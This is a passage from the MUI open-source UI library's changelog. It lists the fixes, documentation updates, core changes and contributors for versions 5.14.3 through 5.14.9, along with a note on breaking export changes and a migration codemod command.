(#38757) @sai6855\n- [Select][base-ui] Fix Select button layout shift, add placeholder prop (#38796) @mj12albert\n- [useList][base-ui] Accept arbitrary external props and forward to root (#38848) @mj12albert\n- [Autocomplete][base-ui] Added ref to getInputProps return value (#38919) @DarhkVoyd\n\n### `@mui/joy@5.0.0-beta.7`\n\n- [AccordionGroup][joy-ui] Fix console warning when using custom color (#38950) @sai6855\n- [GlobalStyles][joy-ui] Ensure compatibility with RSC (#38955) @mateuseap\n\n### Docs\n\n- [docs][base] Add Tailwind CSS + plain CSS demo on the NumberInput page (#38928) @alisasanib\n- [docs][Dialog] Add non-modal dialog docs & demo (#38684) @mnajdova\n- [docs] Fix number input wrong demo @oliviertassinari\n- [docs] Exclude joy-ui LinearProgressCountup from visual regression (#38969) @siriwatknp\n- [docs][joy-ui] Revise the Overview page (#38842) @danilo-leal\n- [docs][material-ui][Pagination] Add `TablePagination` to the API components list (#38486) @MonstraG\n\n### Core\n\n- [core] Add more context about useEventCallback @oliviertassinari\n- [core] Allow deeper import of @mui/utils (#38806) @oliviertassinari\n- [core] Remove react-dom from @mui/utils peerDependencies (#38974) @michaldudak\n- [core] Remove react from styled-engine dependencies (#38971) @michaldudak\n- [core] Fix image loading bug on Safari @oliviertassinari\n- [core] Fix bundle size upload to S3 job (#38956) @Janpot\n- [core] Move ESLint to peer dependencies of eslint-plugin-material-ui (#39033) @michaldudak\n- [docs-infra] Display markdown lists correctly in docs for props description (#38973) @ZeeshanTamboli\n- [zero][next] Setup nextjs plugin package (#38852) @brijeshb42\n\nAll contributors of this release in alphabetical order: @alisasanib, @brijeshb42, @danilo-leal, @DarhkVoyd, @DiegoAndai, @Janpot, @mateuseap, @Methuselah96, @michaldudak, @mj12albert, @mnajdova, @MonstraG, @oliviertassinari, @sai6855, @siriwatknp, @ZeeshanTamboli\n\n## 5.14.9\n\n<!-- generated comparing v5.14.8..master -->\n\n_Sep 13, 2023_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🎉 Added the [`Drawer` component](https://mui.com/joy-ui/react-drawer/) to Joy UI (#38169) @mnajdova\n- ✨ Material UI's [`ButtonGroup` component](https://mui.com/material-ui/react-button-group/) now styles button elements within it correctly (#38520) @ZeeshanTamboli\n\n### `@mui/material@5.14.9`\n\n- [ButtonGroup] Determine first, last and middle buttons to support different elements with correct styling (#38520) @ZeeshanTamboli\n- [Modal] Fix console warning when onTransitionEnter , onTransitionExit provided (#38868) @sai6855\n- Revert \"[Autocomplete] Type multiple values with readonly arrays.\" (#38827) @mnajdova\n- [Tabs] Scrollable tabs shouldn't crash when customizing their styles in the theme with slot callbacks (#38544) @brentertz\n- [AlertTitle][BreadCrumbs] Fix inheritance message in docs (#38876) @sai6855\n\n### `@mui/base@5.0.0-beta.15`\n\n- [useSnackbar] Align externalProps handling (#38935) @mj12albert\n- [useInput] Align ExternalProps naming (#38849) @mj12albert\n- [FocusTrap] Refactor & cleanup (#38878) @mnajdova\n- [FocusTrap] Fix `disableEnforceFocus` behavior (#38816) @mnajdova\n- [Switch] Simplify source (#38910) @oliviertassinari\n\n### `@mui/joy@5.0.0-beta.6`\n\n- [Drawer] Add Drawer component (#38169) @mnajdova\n- Reduce height of some variants (#38527) @zanivan\n- Refine the default theme color palette (#38416) @zanivan\n- [Dialog] Add `DialogActions`, `DialogTitle` and `DialogContent` (#38382) @siriwatknp\n- [AccordionGroup] Add missing `variant` and `color` classes (#38814) @sai6855\n\n### `@mui/lab@5.0.0-alpha.144`\n\n- Add TypeScript deprecations (#38833) @oliviertassinari\n- Fix `@mui/x-tree-view` dependency (#38822) @flaviendelangle\n\n### `@mui/system@5.14.9`\n\n- Remove dead code (#38884) @oliviertassinari\n- Remove getInitColorSchemeScript leading spaces (#38794) @oliviertassinari\n\n### `@mui/zero-vite-plugin@0.0.1-alpha.0`\n\n- [vite] Create a package for vite plugin (#38685) @brijeshb42\n\n### Docs\n\n- [docs][base-ui] Improve recommended usage guide (#38570) @oliviertassinari\n- [docs][base-ui] Create hooks contribution guide (#38679) @michaldudak\n- [docs][base-ui] Structure and style revisions for Component docs (#38826) @samuelsycamore\n- [docs][base-ui] Add Number Input to the all components page (#38839) @danilo-leal\n- [docs][base-ui] Mark Popup with the Preview tag (#38851) @michaldudak\n- [blog] Polish component reference name @oliviertassinari\n- [blog] Fix missing card (#38834) @oliviertassinari\n- [Button][docs][material-ui] Update the file upload demo (#38823) @danilo-leal\n- [docs][DialogTitle] Fix props docs doesn't mention it extends `Typography` props (#38856) @sai6855\n- [docs] Improve npm experience (#38906) @oliviertassinari\n- [docs] Fix redirection to Base UI URLs @oliviertassinari\n- [docs] Fix use of callouts (#38747) @oliviertassinari\n- [docs] Fix 301 links for SEO @oliviertassinari\n- [docs] Remove flag from installation page @oliviertassinari\n- [docs] Fix strange break line on mobile in between product name @oliviertassinari\n- [docs] Clearer npm package homepages (#38864) @oliviertassinari\n- [docs] enableColorScheme prop was removed (#38795) @oliviertassinari\n- [docs] Fix a11y issues in tables demos (#38829) @michaldudak\n- [docs][joy-ui] Refine the Messages template (#38807) @zanivan\n- [docs][joy-ui] Fix copy on the Tutorial page (#38907) @danilo-leal\n- [docs][joy-ui] Fix grammar and update Usage section in color inversion page (#38850) @ZeeshanTamboli\n- [docs][joy-ui] Revise the Lists page (#36324) @LadyBluenotes\n- [docs][joy-ui] Refine the Profile Dashboard template (#38599) @zanivan\n- [docs][material-ui] Revise the Paper component docs (#38841) @danilo-leal\n- [docs][material-ui] Revise the Typography page (#38543) @danilo-leal\n- [docs][material-ui] Revise and split up \"Styled engine\" doc (#37774) @samuelsycamore\n- [TextareaAutosize][docs] Fix component creation in render (#38577) @oliviertassinari\n\n### Examples\n\n- [examples] Add shortcut to open example in online IDE (#38572) @oliviertassinari\n- [examples][base-ui] Add Base UI + Vite + Tailwind CSS example in TypeScript (#37595) @dvkam\n\n### Core\n\n- [core] Remove package declaration from same package dependencies (#38951) @DiegoAndai\n- [core] Remove workspace dependencies from root package.json (#38940) @michaldudak\n- [core] Fix prop-types generation (#38831) @flaviendelangle\n- [core] Move types packages to docs' devDependencies (#38914) @michaldudak\n- [core] Improve DX when browsing the package on npm and GitHub @oliviertassinari\n- [core] TrapFocus was renamed to FocusTrap @oliviertassinari\n- [core] Add types extension for clarity @oliviertassinari\n- [core] Hoist rewriteImportPaths to parent scope @oliviertassinari\n- [core] Bump aws-cli orb to 4.1 (#38857) @Janpot\n- [core] Explicitly define package dependencies (#38859) @michaldudak\n- [core] Fix yarn docs:create-playground script @oliviertassinari\n- [docs-infra] Improve show code button affordance (#38824) @danilo-leal\n- [docs–infra] Fix callout container width (#38880) @oliviertassinari\n- [docs-infra] Catch duplicated trailing splashes in links (#38758) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @brentertz, @brijeshb42, @danilo-leal, @DiegoAndai, @dvkam, @flaviendelangle, @Janpot, @LadyBluenotes, @michaldudak, @michelengelen, @mj12albert, @mnajdova, @oliviertassinari, @sai6855, @samuelsycamore, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 5.14.8\n\n<!-- generated comparing v5.14.7..master -->\n\n_Sep 5, 2023_\n\nA big thanks to the 25 contributors who made this release possible.\n\n### `@mui/material@5.14.8`\n\n- ImageItemList fix incorrect (below) rendering (#38452) @omriklein\n- [Button] Add demo for file upload (#38786) @anle9650\n- [Slider] Add missing classes for `Slider` `InputLabel` `InputBase` `Radio` (#38401) @sai6855\n- [Select] Merge slotProps.paper with internal Paper props (#38703) @michaldudak\n- [Tabs] Fix `ref` type (#38717) @ZeeshanTamboli\n- [TabScrollButton] Extend ButtonBase types (#38719) @ZeeshanTamboli\n\n### `@mui/base@5.0.0-beta.14`\n\n- [Autocomplete] Type multiple values with readonly arrays. (#38253) @pcorpet\n- [TextField] Fix unstable height of memoized multiline TextField component (#37135) @amal-qb\n\n### `@mui/joy@5.0.0-beta.5`\n\n- [Accordion] Fix incorrect display of classname (#38695) @sai6855\n- [AspectRatio] Correct `ratio` prop description (#38743) @sai6855\n- [Button] Fix disablity of button (#38673) @sai6855\n- [design] Stray design tweaks to components (#38476) @zanivan\n- [Typography] Added position only when Skeleton is a direct child (#38799) @siriwatknp\n\n### `@mui/lab@5.0.0-alpha.143`\n\n- [TreeView] Use Tree View from MUI X in the lab (#38261) @flaviendelangle\n- [LoadingButton] Fix HTML rule button > div forbidden nesting (#38584) @oliviertassinari\n\n### `@mui/system@5.14.8`\n\n- [system] Fix the inconsistent types of the `mergeBreakpointsInOrder` function (#38749) @imevanc\n- [system] Fix maxWidth incorrectly resolving breakpoints with non-pixel units (#38633) @mj12albert\n- [typescript] Introduce \\*OwnProps interfaces for components (#36798) @szalonna\n\n### Docs\n\n- Update changelog (#38704) @mj12albert\n- [docs][Autocomplete] Require referentially stable value (#38734) @michaldudak\n- [docs][base-ui] Add type parameter to the button in prepareForSlot demo (#38640) @michaldudak\n- [docs][base-ui] Fix the broken image in the Tailwind CSS guide (#38721) @michaldudak\n- [docs][base-ui]: Working With Tailwind Guide - revises example code to avoid import errors (#38693) @christophermorin\n- [docs][base] Add Tailwind CSS + plain CSS demo on the Menu page (#38618) @alisasanib\n- [blog] Clearer blog release title @oliviertassinari\n- [blog] Add a post for the Tree View migration (#38407) @flaviendelangle\n- [docs] Fix broken links to Next.js docs (#38764) @ruflair\n- [docs] Trim trailing whitespace (#38793) @oliviertassinari\n- [docs] Fix a typo in lab-tree-view-to-mui-x.md @mbrookes\n- [docs] Clean up not used Usage files (#38715) @danilo-leal\n- [docs] Improve theme builder exceptions (#38709) @jyash97\n- [docs] Polish Slider demos (#38759) @oliviertassinari\n- [docs] Fix Joy UI docs link regression (#38761) @oliviertassinari\n- [docs] Fix typo @oliviertassinari\n- [docs] Fix e.g. typo (#38748) @oliviertassinari\n- [docs] Fix Next.js pages router example redirect link (#38750) @sai6855\n- [docs] Fix SEO issue broken links @oliviertassinari\n- [docs] Improve SSR example reference (#38651) @oliviertassinari\n- [docs][joy-ui] Integrate a count-up feature to the Linear Progress (#38738) @anon-phantom\n- [docs][joy-ui] Fix Link's `overlay` prop demo (#38702) @danilo-leal\n- [docs][joy-ui] Polish the Stack page (#38623) @danilo-leal\n- [docs][material-ui] Adjust simple Slide demo (#38646) @rajgop1\n\n### Core\n\n- [core] Re-add nx and setup build caching (#38752) @brijeshb42\n- [core] Remove dead code seoTitle @oliviertassinari\n- [core] Use immutable refs (#38762) @oliviertassinari\n- [core] Rework `typescript-to-proptypes` to share the AST parsing with `parseStyles` (#38517) @flaviendelangle\n- [core] Fix CI @oliviertassinari\n- [core] Remove unnecessary `@types/webpack` package (#38720) @ZeeshanTamboli\n- [core] Remove duplicate prop @oliviertassinari\n\n- [docs-infra] Fix mobile display in CodeSandbox (#38767) @oliviertassinari\n- [docs-infra] Remove legacy GA (#37579) @alexfauquette\n- [docs-infra] Fix emotion :first-child console log (#38690) @oliviertassinari\n- [docs-infra] Fix leaking callout content (#38712) @danilo-leal\n- [docs-infra] Remove emoji from callouts (#38694) @danilo-leal\n\nAll contributors of this release in alphabetical order: @alexfauquette, @alisasanib, @amal-qb, @anle9650, @anon-phantom, @bharatkashyap, @brijeshb42, @christophermorin, @danilo-leal, @flaviendelangle, @imevanc, @jyash97, @mbrookes, @michaldudak, @mj12albert, @oliviertassinari, @omriklein, @pcorpet, @rajgop1, @ruflair, @sai6855, @siriwatknp, @szalonna, @zanivan, @ZeeshanTamboli\n\n## 5.14.7\n\n<!-- generated comparing v5.14.6..master -->\n\n_Aug 29, 2023_\n\nA big thanks to the 11 contributors who made this release possible. This release focuses primarily on 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.14.7`\n\n- [Autocomplete] Fix listbox opened unexpectedly when component is `disabled` (#38611) @mj12albert\n- [Select][material-ui] Fix select menu moving on scroll when disableScrollLock is true (#37773) @VishruthR\n\n### `@mui/base@5.0.0-beta.13`\n\n- [useButton][base-ui] Accept arbitrary props in getRootProps and forward them (#38475) @DiegoAndai\n\n### `@pigment-css/react@0.0.1-alpha.1`\n\n- [system][zero][tag] Add support for sx prop (#38535) @brijeshb42\n\n### Docs\n\n- [docs] Number Input docs fixes (#38521) @mj12albert\n- [docs] Show all the code in the usage section (#38691) @oliviertassinari\n- [docs][joy-ui] Change the customization and how-to guides docs tree (#38396) @danilo-leal\n- [docs][lab][LoadingButton] Improve `loading` prop documentation (#38625) @sai6855\n- [docs][material-ui] Format `key` prop JSDoc description in `Snackbar` component code correctly (#38603) @jaydenseric\n\n### Core\n\n- [core] Add use-client to custom icons (#38132) @mj12albert\n- [core] Remove unnecessary `@types/jsdom` (#38657) @renovate[bot]\n- [core] Improve sponsors GA labels (#38649) @oliviertassinari\n- [core] Fix ESM issues with regression tests (#37963) @Janpot\n- [core] Potential fix for intermittent ci crashes in e2e test (#38614) @Janpot\n- [docs-infra] Mark unstable components with a chip in the nav drawer (#38573) @michaldudak\n- [docs-infra] Adjust the Material You playground demo design (#38636) @danilo-leal\n- [docs-infra] Hide the SkipLink button if user prefers reduced motion (#38632) @DerTimonius\n\nAll contributors of this release in alphabetical order: @brijeshb42, @danilo-leal, @DerTimonius, @DiegoAndai, @Janpot, @jaydenseric, @mj12albert, @oliviertassinari, @renovate[bot], @sai6855, @VishruthR\n\n## 5.14.6\n\n<!-- generated comparing v5.14.5..master -->\n\n_Aug 23, 2023_\n\nA big thanks to the 21 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added the [Popup](https://v6.mui.com/base-ui/react-popup/) component to Base UI (#37960) @michaldudak\n  It's intended to replace the Popper component, which uses the deprecated Popper JS library. The Popup is built on top of Floating UI and has a similar API to the Popper.\n- 🚀 Added the [Accordion](https://mui.com/joy-ui/react-accordion/) component to Joy UI (#38164) @siriwatknp\n- 🚀 Added InputBase and ButtonBase components to `material-next` (#38319) @DiegoAndai @mj12albert\n- 🔋 First iteration on the zero-runtime styling engine compatible with Server Components (#38378) @brijeshb42\n\n### `@mui/material@5.14.6`\n\n- [Modal] Update it to use the useModal hook (#38498) @mnajdova\n- [Select] Add `root` class to `SelectClasses` (#38424) @sai6855\n- [Skeleton] Soften the pulse animation (#38506) @oliviertassinari\n- [TextField] Fix onClick regressions handling changes (#38474) @mj12albert\n- [TextField] Fix TextField onClick test (#38597) @mj12albert\n\n### `@mui/base@5.0.0-beta.12`\n\n- [Popup] New component (#37960) @michaldudak\n\n### `@mui/joy@5.0.0-beta.3`\n\n- [Accordion] Add Joy UI Accordion components (#38164) @siriwatknp\n- [Select] Add `required` prop (#38167) @siriwatknp\n- Miscellaneous fixes (#38462) @siriwatknp\n\n### `@mui/material-next@6.0.0-alpha.98`\n\n- [ButtonBase] Add ButtonBase component (#38319) @DiegoAndai\n- [Input] Add InputBase component (#38392) @mj12albert\n\n### `@pigment-css/react@0.0.1-alpha.0`\n\n- Implementation of styled tag processor for linaria (#38378) @brijeshb42\n\n### Docs\n\n- [blog] Clarify tree view move @oliviertassinari\n- [docs] Improve the \"Understanding MUI packages\" page images (#38619) @danilo-leal\n- [docs][base-ui] Revise the structure of the Component docs (#38529) @samuelsycamore\n- [docs][base-ui] Fix Menu Hooks demo (#38479) @homerchen19\n- [docs][base-ui] Correct the MUI System quickstart example (#38496) @michaldudak\n- [docs][base-ui] Add Tailwind & plain CSS demos for Autocomplete page (#38157) @mj12albert\n- [docs][base-ui] Add Tailwind CSS + plain CSS demo on the Input page (#38302) @alisasanib\n- [docs][base-ui] Add Tailwind CSS + plain CSS demo on the Snackbar, Badge, Switch pages (#38425) @alisasanib\n- [docs][base-ui] Add Tailwind CSS + plain CSS demo on the Slider page (#38413) @alisasanib\n- [docs][base-ui] Add Tailwind CSS + plain CSS demo on the Select page (#38367) @alisasanib\n- [docs][joy-ui] Fix typo: Classname -> Class name for consistency (#38510) @alexfauquette\n- [docs][joy-ui] Revise the theme color page (#38402) @danilo-leal\n- [docs][joy-ui] Sort templates by popularity (#38490) @oliviertassinari\n- [docs][joy-ui] Fix the `fullWidth` prop description for the Input (#38545) @0xturner\n- [docs][joy-ui] Updated the List playground demo (#38499) @zanivan\n- [docs][joy-ui] Changed bgcolor of the Playground demo (#38502) @zanivan\n- [docs][material-ui] Fix key warning in SimpleDialog demo (#38580) @ZeeshanTamboli\n- [docs][material-ui] Fixed Google Fonts link for material two-tone icons in CodeSandbox and StackBlitz (#38247) @ZeeshanTamboli\n- [docs][material-ui] Fix the Drawer's `onClose` API docs (#38273) @johnmatthiggins\n- [docs][material-ui] Improve nav link tab example (#38315) @oliviertassinari\n- [docs][material-ui] Fix missing import in the styled engine guide (#38450) @codersjj\n- [docs][material-ui][Dialog] Improve screen reader announcement of Customized Dialog (#38592) @ZeeshanTamboli\n- [docs] Add 3rd party libraries integration examples for Joy Input (#38541) @siriwatknp\n- [docs] Hide translation call to action (#38449) @cristianmacedo\n- [docs] Fix codemod name in changelog of v5.14.4 (#38593) @GresilleSiffle\n- [docs] More space for theme builder (#38532) @oliviertassinari\n- [docs] Fix the math symbol of the width sx prop range @oliviertassinari\n- [docs] Fix typo on a11y section of Tabs @oliviertassinari\n- [docs] Clarify System peer dependencies @oliviertassinari\n- [docs] Fix horizontal scrollbar @oliviertassinari\n- [docs] Code style convention @oliviertassinari\n- [docs] Fix typo in Base UI @oliviertassinari\n- [docs] Update the backers page (#38505) @danilo-leal\n- [docs] Add stray design adjustments to the docs (#38501) @danilo-leal\n- [docs] Use IBM Plex Sans in Tailwind CSS demos (#38464) @mnajdova\n- [docs] Fix SEO issues reported by ahrefs (#38423) @oliviertassinari\n\n### Examples\n\n- [examples] Start to remove Gatsby (#38567) @oliviertassinari\n- [examples][joy-ui] Fix Joy UI example CLI (#38531) @oliviertassinari\n- [examples][joy-ui] Improve example when using Next Font (#38540) @mwskwong\n\n### Core\n\n- [changelog] Fix issues in highlight @oliviertassinari\n- [core] Remove redundant `@material-ui/` aliases from regression test webpack config (#38574) @ZeeshanTamboli\n- [core] Fix CI error @oliviertassinari\n- [core] Remove unnecessary Box (#38461) @oliviertassinari\n- [core] Set GitHub Action top level permission @oliviertassinari\n- [docs-infra][joy-ui] Polish the usage and CSS vars playgrounds (#38600) @danilo-leal\n- [docs-infra] Support link title (#38579) @oliviertassinari\n- [docs-infra] Fix ad layout shift (#38622) @oliviertassinari\n- [docs-infra] Add light tweaks to the ad container (#38504) @danilo-leal\n- [docs-infra] Fix anchor scroll without tabs (#38586) @oliviertassinari\n- [docs-infra] Retain velocity animation speed (#38470) @oliviertassinari\n- [docs-infra] Follow import and CSS token standard (#38508) @oliviertassinari\n- [docs-infra] Add icon to callouts (#38525) @alexfauquette\n- [docs-infra] Fix the anchor link on headings (#38528) @danilo-leal\n- [docs-infra] Cleanup code on demo code block expansion (#38522) @ZeeshanTamboli\n- [docs-infra] Improve the heading buttons positioning (#38428) @danilo-leal\n- [docs-infra] Customize the blockquote design (#38503) @danilo-leal\n- [docs-infra] Improve the alert before a negative feedback (#38500) @danilo-leal\n- [docs-infra] Fix GoogleAnalytics missing event for code copy (#38469) @alexfauquette\n- [docs-infra] Improve affordance on the code block expansion (#38421) @danilo-leal\n\nAll contributors of this release in alphabetical order: @0xturner, @alexfauquette, @alisasanib, @brijeshb42, @codersjj, @cristianmacedo, @danilo-leal, @DiegoAndai, @GresilleSiffle, @homerchen19, @johnmatthiggins, @michaldudak, @mj12albert, @mnajdova, @mwskwong, @oliviertassinari, @sai6855, @samuelsycamore, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 5.14.5\n\n<!-- generated comparing v5.14.4..master -->\n\n_Aug 14, 2023_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- @mnajdova [made it easier to use third-party components in Base UI slots](https://v6.mui.com/base-ui/getting-started/customization/#overriding-subcomponent-slots) with the introduction of the `prepareForSlot` utility (#38138)\n\n### `@mui/material@5.14.5`\n\n- [TextField] Fix to handle `onClick` on root element (#38072) @LukasTy\n\n### `@mui/codemod@5.14.5`\n\n- [codemod] Add v5.0.0/tree-view-moved-to-x codemod (#38248) @flaviendelangle\n\n### `@mui/joy@5.0.0-beta.2`\n\n- [Input][joy-ui] Fix the `FormHelperText` icon color (#38387) @TheNatkat\n- [Skeleton][joy-ui] Soften the pulse animation (#38384) @zanivan\n- [TabPanel][joy-ui] Add `keepMounted` prop (#38293) @decadef20\n\n### `@mui/base@5.0.0-beta.11`\n\n- [base-ui] Remove the legacy Extend\\* types (#38184) @michaldudak\n- [base-ui] Add `useModal` hook (#38187) @mnajdova\n- [base-ui] Add `prepareForSlot` util (#38138) @mnajdova\n- [useButton][base-ui] Fix tabIndex not being forwarded (#38417) @DiegoAndai\n- [useButton][base-ui] Fix onFocusVisible not being handled (#38399) @DiegoAndai\n\n### Docs\n\n- [blog] Blog post for MUI X mid v6. Date Pickers, Data Grid, and Charts (#38241) @richbustos\n- [docs][base-ui] Update number input API docs (#38363) @mj12albert\n- [docs] Improve page transition speed (#38394) @oliviertassinari\n- [docs] Improve examples (#38398) @oliviertassinari\n- [docs][docs] Add `FileUpload` demo (#38420) @sai6855\n- [docs][joy-ui] Refine the Order Dashboard template design (#38395) @zanivan\n- [docs][material-ui][joy-ui] Simplify the Quickstart section on the Usage page (#38385) @danilo-leal\n- [docs][Menu][joy] Explain how to control the open state (#38355) @michaldudak\n- [docs][material] Revise the Support page (#38207) @samuelsycamore\n- [docs][material-ui] Remove incorrect `aria-label`s in extended variant examples of Floating Action Button (#37170) @ashleykolodziej\n- [docs][material-ui] Adjust slightly the installation page content (#38380) @danilo-leal\n- [docs][Switch] Fix the readOnly class name in docs (#38277) @michaldudak\n- [docs][TablePagination] Add Tailwind CSS & plain CSS introduction demo (#38286) @mnajdova\n\n### Examples\n\n- [examples] Add Joy UI + Vite.js + TypeScript example app (#37406) @nithins1\n\n### Core\n\n- [core] Consistent URL add leading / @oliviertassinari\n- [docs-infra] Fix rebase issue @oliviertassinari\n- [docs-infra] Fix typo in docs infra docs @oliviertassinari\n- [docs-infra] Fix nested list margin (#38456) @oliviertassinari\n- [docs-infra] Move the Diamond Sponsors to the TOC (#38410) @danilo-leal\n- [docs-infra] Move imports into page data (#38297) @alexfauquette\n- [docs-infra] Adjust heading styles (#38365) @danilo-leal\n- [docs-infra] Fix info callout border color (#38370) @danilo-leal\n\nAll contributors of this release in alphabetical order: @alexfauquette, @ashleykolodziej, @danilo-leal, @decadef20, @DiegoAndai, @flaviendelangle, @LukasTy, @michaldudak, @mj12albert, @mnajdova, @nithins1, @oliviertassinari, @richbustos, @sai6855, @samuelsycamore, @TheNatkat, @zanivan\n\n## 5.14.4\n\n<!-- generated comparing v5.14.3..master -->\n\n_Aug 8, 2023_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🎉 Added [Number Input](https://v6.mui.com/base-ui/react-number-input/) component & [useNumberInput](https://v6.mui.com/base-ui/react-number-input/#hook) hook in [Base UI](https://v6.mui.com/base-ui/getting-started/) @mj12albert\n\n### `@mui/material@5.14.4`\n\n- [Checkbox][material] Add size classes (#38182) @michaldudak\n- [Typography] Improve inherit variant logic (#38123) @ZeeshanTamboli\n\n### `@mui/system@5.14.4`\n\n- Revert \"[Box] Remove `component` from TypeMap (#38168)\" (#38356) @michaldudak\n\n### `@mui/base@5.0.0-beta.10`\n\n#### Breaking changes\n\n- [base] Ban default exports (#38200) @michaldudak\n\n  Base UI default exports were changed to named ones. Previously we had a mix of default and named ones.\n  This was changed to improve consistency and avoid problems some bundlers have with default exports.\n  See https://github.com/mui/material-ui/issues/21862 for more context.\n\n  ```diff\n  - import Button, { buttonClasses } from '@mui/base/Button';\n  + import { Button, buttonClasses } from '@mui/base/Button';\n  - import BaseMenu from '@mui/base/Menu';\n  + import { Menu as BaseMenu } from '@mui/base/Menu';\n  ```\n\n  Additionally, the `ClassNameGenerator` has been moved to the directory matching its name:\n\n  ```diff\n  - import ClassNameGenerator from '@mui/base/className';\n  + import { ClassNameGenerator } from '@mui/base/ClassNameGenerator';\n  ```\n\n  A codemod is provided to help with the migration:\n\n  ```bash\n  npx @mui/codemod@latest v5.0.0/base-use-named-exports <path>\n  ```\n\n#### Changes\n\n- [base] Create useNumberInput and NumberInput (#36119) @mj12albert\n- [Select][base] Fix flicker on click of controlled Select button (#37855) @VishruthR\n- [Dropdown] Fix imports of types (#38296) @yash-thakur\n\n### `@mui/joy@5.0.0-beta.1`\n\n- [joy-ui][MenuButton] Fix disable of `MenuButton` (#38342) @sai6855\n\n### Docs\n\n- [docs][AppBar] Fix `ResponsiveAppBar` demo logo href (#38346) @iownthegame\n- [docs][base] Add Tailwind CSS + plain CSS demo on the Button page (#38240) @alisasanib\n- [docs][Menu][base] Remove `Unstyled` prefix from demos' function names (#38270) @sai6855\n- [docs] Add themeable component guide (#37908) @siriwatknp\n- [docs] Fix Joy UI demo background color (#38307) @oliviertassinari\n- [docs] Update API docs for Number Input component (#38301) @ZeeshanTamboli\n- [docs][joy-ui] Revise the theme typography page (#38285) @danilo-leal\n- [docs][joy-ui] Add TS demo for Menu Bar (#38308) @sai6855\n- [docs][joy-ui] Updated Typography callout at getting started (#38289) @zanivan\n- [docs][joy-ui] Fix the Inter font installation instructions (#38284) @danilo-leal\n- [docs][material] Add note to Autocomplete about ref forwarding (#38305) @samuelsycamore\n- [docs][Skeleton] Make the demos feel more realistic (#38212) @oliviertassinari\n\n- [examples] Swap Next.js examples between App Router and Pages Router; update naming convention (#38204) @samuelsycamore\n- [examples][material-ui] Add Material UI + Next.js (App Router) example in JS (#38323) @samuelsycamore\n- [blog] Discord announcement blog (#38258) @richbustos\n- [blog] Fix 301 links to Toolpad @oliviertassinari\n\n### Core\n\n- [core] Fix docs demo export function consistency (#38191) @oliviertassinari\n- [core] Fix the link-check script on Windows (#38276) @michaldudak\n- [core] Use @testing-library/user-event direct API (#38325) @mj12albert\n- [core] Port GitHub workflow for ensuring triage label is present (#38312) @DanailH\n- [docs-infra] Consider files ending with .types.ts as props files (#37533) @mnajdova\n- [docs-infra] Fix skip to content design (#38304) @oliviertassinari\n- [docs-infra] Add a general round of polish to the API content display (#38282) @danilo-leal\n- [docs-infra] Make the side nav collapse animation snappier (#38259) @danilo-leal\n- [docs-infra] New Component API design followup (#38183) @cherniavskii\n- [test] Remove unnecessary `async` keyword from test (#38373) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @alisasanib, @cherniavskii, @DanailH, @danilo-leal, @iownthegame, @michaldudak, @mj12albert, @mnajdova, @noraleonte, @oliviertassinari, @richbustos, @sai6855, @samuelsycamore, @siriwatknp, @VishruthR, @yash-thakur, @zanivan, @ZeeshanTamboli\n\n## 5.14.3\n\n<!-- generated comparing v5.14.2..master -->\n\n_Jul 31, 2023_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 [Joy UI](https://mui.com/joy-ui/getting-started/) is now in Beta\n- ✨ Refine [Joy UI](https://mui.com/joy-ui/getting-started/)'s default theme @siriwatknp @zanivan\n- 🎉 Added Dropdown higher-level menu component [Base UI](https://v6.mui.com/base-ui/getting-started/) @michaldudak\n- 💫 Added Material You [Badge](https://mui.com/material-ui/react-badge/#material-you-version) to `material-next` (#37850) @DiegoAndai\n\n### `@mui/material@5.14.3`\n\n- [Autocomplete][material][joy] Add default `getOptionLabel` prop in ownerState (#38100) @DSK9012\n- [Menu][Divider][material] Do not allow focus on Divider when inside Menu list (#38102) @divyammadhok\n- [typescript][material] Rename one letter type parameters (#38155) @michaldudak\n- [Menu][material] Fixes slots and slotProps overriding defaults completely (#37902) @gitstart\n- [Theme][material] Add missing styleOverrides type for theme MuiStack (#38189) @DiegoAndai\n- [typescript][material] Add `component` field to `*Props` types (#38084) @michaldudak\n\n### `@mui/base@5.0.0-beta.9`\n\n#### Breaking changes\n\n- [Dropdown][base][joy] Introduce higher-level menu component (#37667) @michaldudak\n\n#### Other changes\n\n- [typescript][base] Rename one letter type parameters (#38171) @michaldudak\n\n### `@mui/joy@5.0.0-beta.0`\n\n- [joy] Refine the default theme (#36843) @siriwatknp\n\n### `@mui/material-next@6.0.0-alpha.95`\n\n- [Badge][material-next] Add Badge component (#37850) @DiegoAndai\n- [Chip][material-next] Copy chip component from material (#38053) @DiegoAndai\n- [typescript][material-next] Rename one letter type parameters (#38172) @michaldudak\n\n### `@mui/system@5.14.3`\n\n- [Box][system] Remove `component` from TypeMap (#38168) @michaldudak\n- [Stack][system] Fix CSS selector (#37525) @sai6855\n\n### Docs\n\n- [docs] Update Joy UI's package README (#38262) @ZeeshanTamboli\n- [docs][base-ui] Add new batch of coming soon pages (#38025) @danilo-leal\n- [docs] fix links to standardized examples (#38193) @emmanuel-ferdman\n- [docs-infra] Small design polish to the Diamond Sponsor container (#38257) @danilo-leal\n- [docs-infra] Show props in the table of content (#38173) @alexfauquette\n- [docs-infra] Polish API page design (#38196) @oliviertassinari\n- [docs-infra] Search with productCategory when product is missing (#38239) @oliviertassinari\n- [docs][material] Revise and update Examples doc (#38205) @samuelsycamore\n- [docs] Fix typo in notifications.json @mbrookes\n- [docs-infra] Remove leftover standardNavIcon (#38252) @DiegoAndai\n- [docs][base] Add Tailwind CSS & plain CSS demos on the Popper page (#37953) @zanivan\n- [docs][Button][joy] Improve `loading` prop documentation (#38156) @sai6855\n- [docs] Prepare docs infra for Tree View migration to X (#38202) @flaviendelangle\n- [docs] Fix SEO issues reported by ahrefs @oliviertassinari\n- [docs] Fix palette pages - live edit not working (#38195) @oliviertassinari\n- [docs] Add Google Analytics action for the styling menu (#38085) @mnajdova\n- [docs] Fix Discord redirection chain @oliviertassinari\n- [docs] Cover pnpm in more places (#38161) @oliviertassinari\n- [docs] Avoid 